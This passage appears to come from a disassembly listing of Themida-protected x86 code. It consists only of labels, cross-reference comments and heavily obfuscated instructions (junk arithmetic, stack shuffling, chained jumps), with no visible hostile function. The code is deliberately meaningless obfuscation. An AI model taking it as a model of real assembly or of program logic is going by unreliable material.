edi mov edi, 2 add ecx, edi pop edi push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp or [esp], al pushf jmp loc_599D43 ; --------------------------------------------------------------------------- loc_59A9D0: ; CODE XREF: Themida_:005A1D24j ; Themida_:loc_5A9D85j add eax, 0B90A6871h mov ebp, eax jmp loc_59F065 ; --------------------------------------------------------------------------- loc_59A9DC: ; CODE XREF: Themida_:005A64B2j shr eax, 4 jp loc_59F065 shr eax, 3 jnz loc_5A0B2B jmp loc_5A029A ; --------------------------------------------------------------------------- mov ecx, [esp] xor al, 64h pop esp loc_59A9FA: ; CODE XREF: Themida_:loc_5A7137j shr eax, 4 add eax, 5BF11713h mov ebp, eax jmp loc_5A831E ; --------------------------------------------------------------------------- loc_59AA09: ; CODE XREF: Themida_:005A91A2j mov edi, 28F01C88h or edx, edi pop edi shr edx, 3 sub edx, 189BF8AAh jmp loc_5AE77A ; --------------------------------------------------------------------------- loc_59AA1F: ; CODE XREF: Themida_:005A27D0j pop edx pop esi add edx, 7223220Dh add eax, edx pop edx add eax, 4 xchg eax, [esp] pop esp push ax jmp loc_59C34C ; --------------------------------------------------------------------------- loc_59AA38: ; CODE XREF: Themida_:005A0148j sub bl, al add bl, 0E1h push 71C5h mov [esp], eax push ecx push eax mov ah, 43h xor ah, 0C0h shl ah, 4 sub ah, 0E3h mov cl, ah jmp loc_5A337B ; --------------------------------------------------------------------------- loc_59AA59: ; CODE XREF: Themida_:005AA9E0j ; Themida_:loc_5AE128j push 4981h jmp loc_5A3A39 ; --------------------------------------------------------------------------- loc_59AA63: ; CODE XREF: Themida_:005993ADj ; Themida_:005A48A9j xor ecx, 4B7F7C49h jo loc_5A7D56 push ebp mov ebp, 7E7E44F4h jmp loc_59CE1A ; --------------------------------------------------------------------------- loc_59AA7A: ; CODE XREF: Themida_:005AA469j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov ecx, [esp] push 6219h mov [esp], esi mov esi, esp add esi, 4 jmp loc_599472 ; --------------------------------------------------------------------------- loc_59AAA4: ; CODE XREF: Themida_:005AF2C9j add edi, 0C1D3BD9h sub edi, eax sub edi, 0C1D3BD9h jmp loc_5A3C06 ; --------------------------------------------------------------------------- loc_59AAB7: ; CODE XREF: Themida_:0059C2A8j ; Themida_:005A81C9j xor eax, ebx pop ebx add ebx, eax pop eax push ecx mov ecx, 4 add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push esp pop ebp jmp loc_5A4CC4 ; --------------------------------------------------------------------------- loc_59AAE2: ; CODE XREF: Themida_:00598CBFj pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push edx push 627Ch mov [esp], ecx jmp loc_5AAE3E ; --------------------------------------------------------------------------- loc_59AAFA: ; CODE XREF: Themida_:005A6B70j push dword ptr [esp] mov ecx, [esp] push eax push esp pop eax add eax, 4 jmp loc_59E2CC ; --------------------------------------------------------------------------- loc_59AB0D: ; CODE XREF: Themida_:005A21ABj ; Themida_:005AA830j sub ebx, 0F102C02Bh mov esi, ebx pop ebx jmp loc_5AC195 ; --------------------------------------------------------------------------- lodsd sub eax, 5B0C6DEBh push edx mov edx, 688D1340h sub eax, edx pop edx push edx jmp loc_5A8A7C ; --------------------------------------------------------------------------- loc_59AB30: ; CODE XREF: Themida_:005AB755j shr bh, 4 xor bh, 9Ah jnz loc_59B7C3 add bh, 0D6h jmp loc_59A459 ; --------------------------------------------------------------------------- xor ebx, eax push edx loc_59AB47: ; CODE XREF: Themida_:0059DE79j xchg esi, [esp] pop esp jmp loc_5ADCA4 ; --------------------------------------------------------------------------- loc_59AB50: ; CODE XREF: Themida_:005AD68Dj mov dl, 33h sub al, dl pop dx mov dx, [esp] jmp loc_5A9290 ; --------------------------------------------------------------------------- loc_59AB5F: ; CODE XREF: Themida_:005A92BBj and edx, 7AC63428h sub edx, 0DEB50253h jmp loc_599ECE ; --------------------------------------------------------------------------- loc_59AB70: ; CODE XREF: Themida_:0059C142j sub ebp, 57B96C82h jmp loc_5A0E54 ; --------------------------------------------------------------------------- loc_59AB7B: ; CODE XREF: Themida_:005ACC6Aj sub al, 50h pop edx sub esp, 4 mov [esp], edx push ecx mov cl, 0E6h jmp loc_5A0BE0 ; --------------------------------------------------------------------------- loc_59AB8C: ; CODE XREF: Themida_:loc_5AE837j xor ah, 6Eh jmp loc_5A3A05 ; --------------------------------------------------------------------------- loc_59AB94: ; CODE XREF: Themida_:005A2CFEj push 271B68ACh pop ecx jmp loc_5A4FD9 ; --------------------------------------------------------------------------- loc_59AB9F: ; CODE XREF: Themida_:loc_599083j ; Themida_:005AB8BFj pop ecx push ebx mov ebx, 123A01D8h push ecx mov ecx, 13DA2448h and ebx, ecx pop ecx and ebx, 7E816B71h xor ebx, 4F21496Ch sub ebx, 0FFFFFFFFh push ecx jmp loc_59D2EA ; --------------------------------------------------------------------------- loc_59ABC4: ; CODE XREF: Themida_:loc_59B5DDj xor edx, 64A41935h add edx, 29DB4273h jmp loc_5A9D97 ; --------------------------------------------------------------------------- loc_59ABD5: ; CODE XREF: Themida_:005A7827j push ecx mov ch, 62h jmp loc_5A12F3 ; --------------------------------------------------------------------------- loc_59ABDD: ; CODE XREF: Themida_:005A3D2Cj mov [esp], ebp mov ebp, 4 jmp loc_59B877 ; --------------------------------------------------------------------------- loc_59ABEA: ; CODE XREF: Themida_:00598701j add eax, 8DCF6922h push eax add dword ptr [esp], 72946AA7h pop ebp sub ebp, 72946AA7h pop eax push 545Dh jmp loc_5AD039 ; --------------------------------------------------------------------------- loc_59AC09: ; CODE XREF: Themida_:005A7D51j mov [esp], eax push 715702B5h jmp loc_5A291C ; --------------------------------------------------------------------------- loc_59AC16: ; CODE XREF: Themida_:0059967Bj mov al, 4Bh add dl, al pop ax push eax mov ah, 0D9h jmp loc_5A8D38 ; --------------------------------------------------------------------------- loc_59AC24: ; CODE XREF: Themida_:005AEAE4j and edx, 4D2E72A6h jp loc_5A3FF4 neg edx jns loc_5A869A mov ah, 0B0h pop eax loc_59AC3B: ; CODE XREF: Themida_:005A4CBFj push ebx push 64116AECh jmp loc_5A9805 ; --------------------------------------------------------------------------- loc_59AC46: ; CODE XREF: Themida_:005A2812j ; Themida_:005ABDF4j mov esi, 6F2D6B88h jmp loc_5A4C68 ; --------------------------------------------------------------------------- loc_59AC50: ; CODE XREF: Themida_:005AA178j mov [esp], eax sub dword ptr [esp], 27D57DD8h pop esi add esi, 27D57DD8h pop eax add edx, esi jmp loc_59FC68 ; --------------------------------------------------------------------------- loc_59AC69: ; CODE XREF: Themida_:005AB414j dec dword ptr [esp] jmp loc_5A738D ; --------------------------------------------------------------------------- loc_59AC71: ; CODE XREF: Themida_:005A2124j pop edi add esp, 4 or edx, eax shl edx, 1 push eax sub esp, 4 jmp loc_5A9178 ; --------------------------------------------------------------------------- loc_59AC85: ; CODE XREF: Themida_:0059D28Ej add ecx, ebp pop ebp jmp loc_5A2AD8 ; --------------------------------------------------------------------------- loc_59AC8D: ; CODE XREF: Themida_:005A339Fj pop ecx push edi mov edi, esp add edi, 4 jmp loc_5A188F ; --------------------------------------------------------------------------- loc_59AC9C: ; CODE XREF: Themida_:0059DCB5j ; Themida_:005AE9B7j xor dword ptr [esp], 6111614Ah jmp loc_5A0CAD ; --------------------------------------------------------------------------- loc_59ACA8: ; CODE XREF: Themida_:005AB2FFj and esi, ebx pop ebx sub esi, 1580420Ch sub ebp, 43E325EEh add ebp, esi add ebp, 43E325EEh pop esi push esi mov esi, 4 sub ebp, esi mov esi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 4 push ebx mov ebx, 269942F3h jmp loc_59A5ED ; --------------------------------------------------------------------------- loc_59ACE7: ; CODE XREF: Themida_:0059D387j or ebx, 3FAA7AF0h sub ebx, 7FFB7FF2h jmp loc_5A066C ; --------------------------------------------------------------------------- loc_59ACF8: ; CODE XREF: Themida_:0059D735j sub esp, 4 mov [esp], eax push ebp push eax mov eax, 4E49463Eh mov ebp, 511351FEh sub ebp, eax pop eax neg ebp jnp loc_5A7416 shr ebp, 7 dec ebp xor ebp, 0A6627A9h loc_59AD22: ; CODE XREF: Themida_:00598F7Aj mov ebp, 39CA46F9h jmp loc_59A07E ; --------------------------------------------------------------------------- loc_59AD2C: ; CODE XREF: Themida_:00599180j add [esp+4], edx jmp loc_59D2A3 ; --------------------------------------------------------------------------- loc_59AD35: ; CODE XREF: Themida_:0059B0CAj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub eax, ebp mov ebp, [esp] add esp, 4 add ebx, 41EF623Dh jmp loc_59CED9 ; --------------------------------------------------------------------------- loc_59AD58: ; CODE XREF: Themida_:00598DF4j add cl, 0E9h shl cl, 6 jmp loc_5A1180 ; --------------------------------------------------------------------------- loc_59AD63: ; CODE XREF: Themida_:005AF3F4j xchg ecx, [esp] pop esp or edx, eax shl edx, 1 push 549Dh mov [esp], eax mov eax, 24h add eax, edi push ebx jmp loc_598EC2 ; --------------------------------------------------------------------------- loc_59AD80: ; CODE XREF: Themida_:00598D66j sub edi, 2BA11727h jmp loc_59E41D ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_59F62D ; --------------------------------------------------------------------------- loc_59AD94: ; CODE XREF: Themida_:0059F71Bj push edi push 2BBF1C29h pop edi jmp loc_5A3ED3 ; --------------------------------------------------------------------------- loc_59ADA0: ; CODE XREF: Themida_:0059C3BEj pop edx pop ecx jmp loc_5A9276 ; --------------------------------------------------------------------------- loc_59ADA7: ; CODE XREF: Themida_:005A41AEj ; Themida_:005A9EBDj neg ecx xor ecx, 4AC4F544h jmp loc_5A3EDE ; --------------------------------------------------------------------------- loc_59ADB4: ; CODE XREF: Themida_:005A2D4Ej ; Themida_:005AED58j push 5AA2h mov [esp], edi jmp loc_599A30 ; --------------------------------------------------------------------------- loc_59ADC1: ; CODE XREF: Themida_:005A5897j add edi, ebx jmp loc_59AF49 ; --------------------------------------------------------------------------- loc_59ADC8: ; CODE XREF: Themida_:005AA1D6j add ch, 77h not ch jmp loc_5A01C7 ; --------------------------------------------------------------------------- loc_59ADD2: ; CODE XREF: Themida_:0059E4E0j sub eax, 1A783978h sub eax, ebx jmp loc_5AAAA7 ; --------------------------------------------------------------------------- loc_59ADDE: ; CODE XREF: Themida_:005A44EDj xor eax, edi pop edi pop esi add ebx, eax mov eax, [esp] jmp loc_59F36C ; --------------------------------------------------------------------------- loc_59ADEC: ; CODE XREF: Themida_:005A3AE9j mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5A24DD ; --------------------------------------------------------------------------- loc_59ADFE: ; CODE XREF: Themida_:0059ED6Cj mov dh, ch mov al, dh pop edx pop ecx add bl, 0CFh add bl, al sub bl, 0CFh pop ax push small 4A37h mov [esp], cx push ebx jmp loc_5A93DB ; --------------------------------------------------------------------------- loc_59AE1C: ; CODE XREF: Themida_:005A496Dj ; Themida_:005AAC43j pop esp pop dword ptr [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_59AE26: ; CODE XREF: Themida_:005A2FE1j mov [esp], ebx push ecx jmp loc_5AA352 ; --------------------------------------------------------------------------- loc_59AE2F: ; CODE XREF: Themida_:0059FD0Dj pop ebp add ebx, 4 jmp loc_5A85CC ; --------------------------------------------------------------------------- loc_59AE38: ; CODE XREF: Themida_:loc_5AEBE1j add ebx, 0B577ED41h jmp loc_5A48DD ; --------------------------------------------------------------------------- loc_59AE43: ; CODE XREF: Themida_:005A810Aj mov edx, [esp] add esp, 4 push ebx mov ebx, 4 add eax, ebx pop ebx xor eax, [esp] jmp loc_5A60A6 ; --------------------------------------------------------------------------- loc_59AE5A: ; CODE XREF: Themida_:005A81BBj push edx push edi mov edi, 19DF30BCh dec edi jmp loc_59C9A2 ; --------------------------------------------------------------------------- loc_59AE67: ; CODE XREF: Themida_:0059E4B1j mov [esp], edi push 692Ah jmp loc_5A4763 ; --------------------------------------------------------------------------- lodsb jmp loc_599A22 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push 24EDh mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push eax mov eax, esp push 15B0h mov [esp], edi push edx push esi jmp loc_5A913A ; --------------------------------------------------------------------------- loc_59AEAE: ; CODE XREF: Themida_:005A26F2j mov [esp], ebp mov ebp, 731926F3h jmp loc_59B3B9 ; --------------------------------------------------------------------------- loc_59AEBB: ; CODE XREF: Themida_:005A69BBj inc eax inc eax jmp loc_5A3768 ; --------------------------------------------------------------------------- loc_59AEC2: ; CODE XREF: Themida_:005AC82Fj pop esp push ebp mov ebp, 4BF41DFDh jmp loc_5A57D9 ; --------------------------------------------------------------------------- loc_59AECE: ; CODE XREF: Themida_:loc_5A8122j add ebx, 1FC09A3h jnz loc_5AED36 shl ebx, 5 jmp loc_5A55F0 ; --------------------------------------------------------------------------- xor [esp], ebx mov ah, 0BEh mov esi, ebp loc_59AEE9: ; CODE XREF: Themida_:0059F726j mov edi, ebx mov esi, edi pop edi push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_59BDFF ; --------------------------------------------------------------------------- loc_59AEFF: ; CODE XREF: Themida_:005A563Aj push ax push ebx mov bh, 29h add bh, 0D6h mov ah, bh pop ebx add dl, ah pop ax add dl, 0A7h add al, 0C0h add al, dl sub al, 0C0h pop edx add al, 0EAh sub al, 0A1h add al, bl jmp loc_5A3785 ; --------------------------------------------------------------------------- loc_59AF23: ; CODE XREF: Themida_:005A0034j add ah, 4Bh sub ah, 21h mov cl, ah jmp loc_5A2030 ; --------------------------------------------------------------------------- loc_59AF30: ; CODE XREF: Themida_:005A04A4j push eax mov eax, 7C826AE1h not eax and eax, 4F344DB5h xor eax, 3340510h add ecx, eax jmp loc_5A02A3 ; --------------------------------------------------------------------------- loc_59AF49: ; CODE XREF: Themida_:0059ADC3j sub edi, 71BE5A5Eh mov ebx, [esp] add esp, 4 jmp loc_5A5692 ; --------------------------------------------------------------------------- loc_59AF5D: ; CODE XREF: Themida_:005AE592j push eax jmp loc_59F97F ; --------------------------------------------------------------------------- loc_59AF63: ; CODE XREF: Themida_:005AB108j push ecx push esi jmp loc_5A1CF4 ; --------------------------------------------------------------------------- loc_59AF6A: ; CODE XREF: Themida_:005AC2E6j push 54D2h mov [esp], ecx mov ecx, 49777D6Ah dec ecx sub ecx, 0FFFFFFFFh not ecx or ecx, 43104662h shl ecx, 2 sub ecx, 0A29C9E73h add eax, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 jmp loc_59D34B ; --------------------------------------------------------------------------- loc_59AFA2: ; CODE XREF: Themida_:005A7667j add bl, ch pop ecx sub bl, 75h sub bl, al push ax push ecx push 5E15h mov [esp], ebx mov bl, 0FCh mov ch, 5 xor ch, bl jmp loc_5A8BD3 ; --------------------------------------------------------------------------- loc_59AFC0: ; CODE XREF: Themida_:005A71AFj mov ah, dl pop edx not ah mov cl, ah pop ax jmp loc_59B100 ; --------------------------------------------------------------------------- loc_59AFCE: ; CODE XREF: Themida_:005A0B33j add esp, 4 xchg eax, [esp] pop esp mov ebx, [esp] add esp, 4 mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_59838C ; --------------------------------------------------------------------------- loc_59AFF5: ; CODE XREF: Themida_:005ABEE0j add eax, 4 sub esp, 4 mov [esp], ebx mov ebx, 2 jmp loc_59F32C ; --------------------------------------------------------------------------- loc_59B00A: ; CODE XREF: Themida_:00598B37j mov cx, [esp] push eax mov eax, esp push ebp push ebx jmp loc_5983B3 ; --------------------------------------------------------------------------- loc_59B018: ; CODE XREF: Themida_:005A5617j xchg eax, [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_59B021: ; CODE XREF: Themida_:005A4B60j shr eax, 2 shl eax, 3 jmp loc_59F30D ; --------------------------------------------------------------------------- loc_59B02C: ; CODE XREF: Themida_:005A48D8j mov ebp, ecx jmp loc_5AD51E ; --------------------------------------------------------------------------- loc_59B033: ; CODE XREF: Themida_:005A0F2Dj ; Themida_:005A1129j pop eax push esi mov esi, 0E3B2390Bh add ecx, esi pop esi add ebp, ecx push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 jmp loc_59F38A ; --------------------------------------------------------------------------- loc_59B054: ; CODE XREF: Themida_:005A2FBEj jmp loc_599083 ; --------------------------------------------------------------------------- loc_59B059: ; CODE XREF: Themida_:005A2E84j mov ecx, edi pop edi xor ecx, 83D2821Ah add edi, ecx jmp loc_5A7CD0 ; --------------------------------------------------------------------------- loc_59B069: ; CODE XREF: Themida_:005A792Ej sub esi, ecx add esi, 4184393Eh push dword ptr [esp] jmp loc_5A637A ; --------------------------------------------------------------------------- loc_59B079: ; CODE XREF: Themida_:0059CAF2j ; Themida_:005A811Dj add ebx, 4CAF4F3Ch jmp loc_5A711F ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_59838C ; --------------------------------------------------------------------------- loc_59B08B: ; CODE XREF: Themida_:005AC322j and eax, 30F84407h shr eax, 4 xor eax, 20F0444h add ecx, eax jmp loc_5AC277 ; --------------------------------------------------------------------------- loc_59B09F: ; CODE XREF: Themida_:005A0E92j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], edi jmp loc_59C770 ; --------------------------------------------------------------------------- loc_59B0B3: ; CODE XREF: Themida_:005AE954j pop esp jmp loc_59FA20 ; --------------------------------------------------------------------------- loc_59B0B9: ; CODE XREF: Themida_:loc_5A01C7j ; Themida_:005A0330j or eax, 28D239ADh jmp loc_5A963C ; --------------------------------------------------------------------------- loc_59B0C3: ; CODE XREF: Themida_:0059D687j push dword ptr [esp] pop ecx push ecx mov ecx, esp jmp loc_59AD35 ; --------------------------------------------------------------------------- loc_59B0CF: ; CODE XREF: Themida_:005984F7j pop ebx jmp loc_5AC0E7 ; --------------------------------------------------------------------------- loc_59B0D5: ; CODE XREF: Themida_:loc_5A332Ej and ebp, 305177BCh sub ebp, 1B4B5C60h ja loc_5A1D19 jmp loc_5A88A3 ; --------------------------------------------------------------------------- jmp loc_59A231 ; --------------------------------------------------------------------------- loc_59B0F1: ; CODE XREF: Themida_:005A7BCEj xchg ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_59838C ; --------------------------------------------------------------------------- loc_59B100: ; CODE XREF: Themida_:0059AFC9j shr cl, 4 push ax push edx mov dl, 0F0h shl dl, 1 jns loc_5AACAD shl dl, 8 add dl, 6Fh mov ah, dl mov edx, [esp] add esp, 4 xor cl, ah jmp loc_5A9ADA ; --------------------------------------------------------------------------- loc_59B125: ; CODE XREF: Themida_:005ABF1Dj pop esi add ecx, 1 push ecx xchg ecx, [esp] not ecx xchg ecx, [esp] jmp loc_59FC43 ; --------------------------------------------------------------------------- loc_59B137: ; CODE XREF: Themida_:005AA39Aj mov ebx, 4E585650h and edi, ebx pop ebx not edi jmp loc_5A0A2F ; --------------------------------------------------------------------------- loc_59B146: ; CODE XREF: Themida_:005A66BCj or ebx, 5B9030A1h jnp loc_5AB8D2 sub ebx, 5F967DA5h mov edi, ebx pop ebx push ecx xor dl, 0BDh pop edi loc_59B160: ; CODE XREF: Themida_:loc_5AC8F3j sub al, 0E0h sub bl, al pop ax push dword ptr [esp] mov eax, [esp] push esi jmp loc_5A319E ; --------------------------------------------------------------------------- loc_59B172: ; CODE XREF: Themida_:005A55EBj ; Themida_:005AA757j ... add esi, ecx pop ecx jmp loc_5A451E ; --------------------------------------------------------------------------- loc_59B17A: ; CODE XREF: Themida_:0059D73Bj ; Themida_:0059FC57j sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ebx sub dword ptr [esp], 261A5F41h mov ebp, [esp] jmp loc_59B926 ; --------------------------------------------------------------------------- loc_59B198: ; CODE XREF: Themida_:005A07CBj jmp loc_5A6584 ; --------------------------------------------------------------------------- push dword ptr [esp+4] jmp loc_5AE80A ; --------------------------------------------------------------------------- loc_59B1A6: ; CODE XREF: Themida_:0059CC49j xor ebp, 4B5A50ABh add ebp, 0C0D06D3h xor ebp, 61A16A4Fh jmp loc_5A607A ; --------------------------------------------------------------------------- loc_59B1BD: ; CODE XREF: Themida_:005A70DCj pop esi pop dword ptr [esp] pop esp jmp loc_59C1E9 ; --------------------------------------------------------------------------- loc_59B1C7: ; CODE XREF: Themida_:005A49D4j or bh, al pop ax xor bh, 71h sub esp, 2 jmp loc_5A7840 ; --------------------------------------------------------------------------- loc_59B1D6: ; CODE XREF: Themida_:00598579j add eax, 688D1340h push edi mov edi, 63471AD3h shl edi, 7 add edi, 27D6075Dh neg edi jmp loc_5A59DF ; --------------------------------------------------------------------------- loc_59B1F1: ; CODE XREF: Themida_:005A6528j sub al, 76h mov dx, [esp] push 473Fh mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp push 0F16h mov [esp], ecx mov cl, 59h shl cl, 6 push eax mov al, 9Eh jmp loc_5A885A ; --------------------------------------------------------------------------- loc_59B223: ; CODE XREF: Themida_:005A6696j push edi mov edi, 4 jmp loc_5A34CF ; --------------------------------------------------------------------------- loc_59B22E: ; CODE XREF: Themida_:005A5305j xchg ebx, [esp] pop esp mov [esp], ebx jmp loc_5A4ECA ; --------------------------------------------------------------------------- loc_59B23A: ; CODE XREF: Themida_:loc_5AA297j ; Themida_:005AE72Cj or eax, eax jz loc_5AAFD4 push dword ptr [edi+1Ch] push 4558h mov [esp], ebx jmp loc_5A8F8A ; --------------------------------------------------------------------------- loc_59B252: ; CODE XREF: Themida_:0059A6B1j ; Themida_:0059D8FFj push esi mov esi, 26A54667h jmp loc_5A2354 ; --------------------------------------------------------------------------- loc_59B25D: ; CODE XREF: Themida_:005A9487j ; Themida_:005AB486j ... pop ecx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5A117A ; --------------------------------------------------------------------------- loc_59B271: ; CODE XREF: Themida_:005AF1DEj push ebx mov ebx, 4 add esi, ebx jmp loc_5AB224 ; --------------------------------------------------------------------------- loc_59B27E: ; CODE XREF: Themida_:005A1B40j push esp pop ebx push esi mov esi, 2C0054D8h jmp loc_5A91CE ; --------------------------------------------------------------------------- loc_59B28B: ; CODE XREF: Themida_:005A7C09j push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_5AF0DA ; --------------------------------------------------------------------------- loc_59B299: ; CODE XREF: Themida_:005A3161j mov [esp], ecx jmp loc_5986BF ; --------------------------------------------------------------------------- loc_59B2A1: ; CODE XREF: Themida_:00598505j pop esp push edx jmp loc_5A0A6A ; --------------------------------------------------------------------------- loc_59B2A8: ; CODE XREF: Themida_:0059BA22j pop edi push ebp push dword ptr [esp] push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 jmp loc_5A89AF ; --------------------------------------------------------------------------- loc_59B2BF: ; CODE XREF: Themida_:005A797Cj sub ecx, 1C0F5C8Eh add edi, ecx pop ecx add edi, 130F890Fh jmp loc_5A026F ; --------------------------------------------------------------------------- loc_59B2D3: ; CODE XREF: Themida_:0059D4B8j push 66CB61F3h pop ecx sub esi, ecx jmp loc_59B93A ; --------------------------------------------------------------------------- loc_59B2E0: ; CODE XREF: Themida_:005A2852j shl esi, 4 sub esi, 0FFFFFFFFh add esi, 0C042C05Fh and eax, esi mov esi, [esp] jmp loc_598ECE ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5A94BD ; --------------------------------------------------------------------------- loc_59B302: ; CODE XREF: Themida_:0059F5C9j mov [esp], edx push esp pop edx push ecx push eax mov eax, 31352EBAh add eax, 0FFFFFFFFh push eax not dword ptr [esp] jmp loc_5A53F1 ; --------------------------------------------------------------------------- loc_59B31C: ; CODE XREF: Themida_:005A361Bj xchg ecx, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_5ADFE5 ; --------------------------------------------------------------------------- loc_59B32D: ; CODE XREF: Themida_:00599860j push edi push 7E2Eh mov [esp], ebx jmp loc_5AD2B4 ; --------------------------------------------------------------------------- loc_59B33B: ; CODE XREF: Themida_:005A84E1j pop cx push ecx sub esp, 4 mov [esp], edx mov dh, 0 mov cl, dh mov edx, [esp] add esp, 4 push eax push edx mov dl, 6Dh jmp loc_5AEE72 ; --------------------------------------------------------------------------- loc_59B35A: ; CODE XREF: Themida_:005A4305j xchg edx, [esp] mov esp, [esp] mov [esp], eax mov al, 11h xor al, 1Bh mov bl, al mov eax, [esp] add esp, 4 add al, 0FDh add al, 49h sub al, 86h add al, bl jmp loc_5A5830 ; --------------------------------------------------------------------------- loc_59B37F: ; CODE XREF: Themida_:005A23BBj ; Themida_:005A51F6j add cl, 44h jmp loc_5AA651 ; --------------------------------------------------------------------------- loc_59B387: ; CODE XREF: Themida_:loc_5AF275j dec ah jle loc_5A97A0 jmp loc_5A1D8E ; --------------------------------------------------------------------------- loc_59B394: ; CODE XREF: Themida_:loc_5A1076j xor ah, 8Ah jz loc_59BA27 push edx jmp loc_59CB66 ; --------------------------------------------------------------------------- loc_59B3A3: ; CODE XREF: Themida_:005A9EA2j add edx, 4 push edi jmp loc_5AB890 ; --------------------------------------------------------------------------- loc_59B3AF: ; CODE XREF: Themida_:005A07A4j mov edi, 4 jmp loc_5A0799 ; --------------------------------------------------------------------------- loc_59B3B9: ; CODE XREF: Themida_:0059AEB6j sub eax, ebp jmp loc_5A0F4F ; --------------------------------------------------------------------------- loc_59B3C0: ; CODE XREF: Themida_:005A3FDCj push ecx mov ecx, esp add ecx, 4 push ebp jmp loc_5A15AC ; --------------------------------------------------------------------------- loc_59B3CF: ; CODE XREF: Themida_:0059A74Aj mov [esp], ecx push 3E764B4Ch pop ecx and ecx, 8BE642Dh jmp loc_5988A9 ; --------------------------------------------------------------------------- loc_59B3E3: ; CODE XREF: Themida_:0059EA28j push edx push ebx mov bl, 60h mov dl, bl pop ebx mov ch, dl pop edx push small 0AC8h jmp loc_5AC588 ; --------------------------------------------------------------------------- loc_59B3F6: ; CODE XREF: Themida_:005A50D4j mov edi, 4 sub edx, edi pop edi xchg edx, [esp] pop esp mov [esp], esi push eax jmp loc_5A5D07 ; --------------------------------------------------------------------------- loc_59B40B: ; CODE XREF: Themida_:005AE997j pop edi add ebx, 2 jmp loc_5A06BE ; --------------------------------------------------------------------------- loc_59B414: ; CODE XREF: Themida_:005A9320j mov esi, 4 push eax jmp loc_5AA916 ; --------------------------------------------------------------------------- loc_59B41F: ; CODE XREF: Themida_:loc_5ABDB9j add edi, 25DE7C1Eh jmp loc_5AAE9A ; --------------------------------------------------------------------------- loc_59B42A: ; CODE XREF: Themida_:005996F9j mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A5988 ; --------------------------------------------------------------------------- loc_59B44B: ; CODE XREF: Themida_:005A7FCCj add edx, 4 xchg edx, [esp] pop esp add edi, 4 push edi push dword ptr [esp+4] jmp loc_59E2C6 ; --------------------------------------------------------------------------- loc_59B465: ; CODE XREF: Themida_:005A101Ej add ecx, 736A042Ch jmp loc_5A6DAA ; --------------------------------------------------------------------------- loc_59B470: ; CODE XREF: Themida_:005A255Bj not ecx push edi jmp loc_59FC11 ; --------------------------------------------------------------------------- loc_59B478: ; CODE XREF: Themida_:005A0024j push ecx mov ecx, 0D1162D5h dec ecx dec ecx add ecx, 3BF934D2h shl ecx, 6 sub ecx, 42A5E93Ch add ebx, ecx pop ecx sub ebx, 4 xchg ebx, [esp] jmp loc_5AEFC2 ; --------------------------------------------------------------------------- loc_59B4A0: ; CODE XREF: Themida_:loc_5A471Bj jmp loc_599466 ; --------------------------------------------------------------------------- loc_59B4A5: ; CODE XREF: Themida_:005A2F45j sub esp, 4 mov [esp], esi push esp push dword ptr [esp] pop esi push 6BE9h jmp loc_59C850 ; --------------------------------------------------------------------------- loc_59B4BA: ; CODE XREF: Themida_:0059D468j pop ecx sub eax, 77DF121Fh add eax, ebx add eax, 77DF121Fh pop ebx push 67E7h mov [esp], ebx mov ebx, 787F2F84h push ecx mov ecx, 0B0B2966h shl ecx, 3 push 1DC1h jmp loc_5AE25C ; --------------------------------------------------------------------------- loc_59B4E8: ; CODE XREF: Themida_:005A72D8j xchg edi, [esp] jmp loc_5A734A ; --------------------------------------------------------------------------- loc_59B4F0: ; CODE XREF: Themida_:005A93D6j push dword ptr [esp] pop esi add esp, 4 push 1543h jmp loc_59DD80 ; --------------------------------------------------------------------------- loc_59B501: ; CODE XREF: Themida_:005A6408j pop ebx sub [edi+24h], ecx mov ecx, [esp] push edx mov edx, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add edx, ebx jmp loc_5A2D4D ; --------------------------------------------------------------------------- loc_59B51D: ; CODE XREF: Themida_:005ABB38j push ebx mov ebx, 5A8353BCh dec ebx add ebx, 3083608Bh shr ebx, 5 add ebx, 3972199Ch or ecx, ebx jmp loc_5A98D2 ; --------------------------------------------------------------------------- loc_59B53A: ; CODE XREF: Themida_:0059EFE3j ; Themida_:005A367Fj mov eax, esp add eax, 4 jmp loc_5A4237 ; --------------------------------------------------------------------------- loc_59B546: ; CODE XREF: Themida_:005A245Bj pop ecx add ecx, edx pop edx jmp loc_5A91B3 ; --------------------------------------------------------------------------- loc_59B54F: ; CODE XREF: Themida_:005AAE1Fj push esi mov esi, 4 add dword ptr [esp+4], 0DED5C93h sub dword ptr [esp+4], 75E55E73h add [esp+4], esi add dword ptr [esp+4], 75E55E73h sub dword ptr [esp+4], 0DED5C93h pop esi pop ebx push eax mov eax, 144D4587h and eax, 7B812548h or eax, 55C061F5h inc eax sub eax, 55C165F2h add ebx, eax 